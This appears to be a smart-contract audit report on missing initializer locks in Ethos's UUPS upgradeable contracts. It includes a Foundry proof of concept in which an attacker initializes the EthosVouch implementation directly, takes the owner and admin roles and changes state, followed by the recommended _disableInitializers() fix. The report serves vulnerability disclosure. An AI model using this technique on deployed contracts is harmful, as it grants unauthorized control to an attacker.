Micro Garnet Gecko
Medium
A missing initialization lock in EthosVoch, EthosProfile, EthosReview, EthosAttestation, EthosVote, and ReputationMarket will cause an access control vulnerability for the implementation contract as an attacker will be able to initialize the implementation contract directly and gain owner/admin privileges.
In EthosVouch.sol the implementation contract misses the _disableInitializers()
call in the constructor which is required for UUPS upgradeable contracts to prevent direct initialization attacks.
No response
No response
No response
The implementation contract suffers a complete access control bypass. The attacker gains full owner and admin privileges on the implementation contract.
contract EthosVouchImplementationTest is Test {
EthosVouch public implementation;
EthosVouch public proxy;
address public owner;
address public admin;
address public expectedSigner;
address public signatureVerifier;
address public contractAddressManager;
address public weth;
address public attacker;
error InvalidInitialization();
event Initialized(uint8 version);
function setUp() public {
// Setup accounts
owner = makeAddr("owner");
admin = makeAddr("admin");
expectedSigner = makeAddr("expectedSigner");
signatureVerifier = makeAddr("signatureVerifier");
contractAddressManager = makeAddr("contractAddressManager");
weth = makeAddr("weth");
attacker = makeAddr("attacker");
// Deploy implementation
implementation = new EthosVouch();
// Deploy proxy
bytes memory initData = abi.encodeWithSelector(
EthosVouch.initialize.selector,
owner,
admin,
expectedSigner,
signatureVerifier,
contractAddressManager,
weth
);
ERC1967Proxy proxyContract = new ERC1967Proxy(
address(implementation),
initData
);
proxy = EthosVouch(address(proxyContract));
}
function testImplementationInitializationVulnerability() public {
// check if owner has role
bool hasRole = proxy.hasRole(proxy.OWNER_ROLE(), owner);
assertTrue(hasRole, "Proxy should be initialized with correct owner");
emit Initialized(1);
vm.startPrank(attacker);
// Attempt to initialize the implementation contract directly
implementation.initialize(
attacker, // Set attacker as owner
attacker, // Set attacker as admin
expectedSigner,
signatureVerifier,
contractAddressManager,
weth
);
vm.stopPrank();
// check if owner has role
bool attackerHasOwnerRole = implementation.hasRole(implementation.OWNER_ROLE(), attacker);
bool attackerHasAdminRole = implementation.hasRole(implementation.ADMIN_ROLE(), attacker);
assertTrue(attackerHasOwnerRole, "Implementation owner should be attacker");
assertTrue(attackerHasAdminRole, "Implementation admin should be attacker");
// check the proxy owner
bool proxyHasOwnerRole = proxy.hasRole(proxy.OWNER_ROLE(), owner);
console.log("Proxy owner role: ", proxyHasOwnerRole);
// Demonstrate potential impact
vm.startPrank(attacker);
// The attacker can now call privileged functions on the implementation
implementation.setMinimumVouchAmount(1 ether); // Change minimum vouch amount
assertEq(implementation.configuredMinimumVouchAmount(), 1 ether, "Attacker should be able to modify state");
vm.stopPrank();
}
function testRecommendedFix() public {
// Test showing how the vulnerability can be fixed
// Create a new contract with constructor that calls _disableInitializers()
EthosVouchFixed fixedImplementation = new EthosVouchFixed();
// Attempt to initialize the fixed implementation should fail
// vm.expectRevert("Initializable: contract is already initialized");
vm.expectRevert(InvalidInitialization.selector);
fixedImplementation.initialize(
attacker,
attacker,
expectedSigner,
signatureVerifier,
contractAddressManager,
weth
);
}
}
// Example of fixed contract
contract EthosVouchFixed is EthosVouch {
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
}
Kindly add a disable the lock of the implementation contract.
constructor() {
// ensure logic contract initializer is not abused by disabling initializing
// see https://forum.openzeppelin.com/t/security-advisory-initialize-uups-implementation-contracts/15301
// and https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable#initializing_the_implementation_contract
_disableInitializers();
}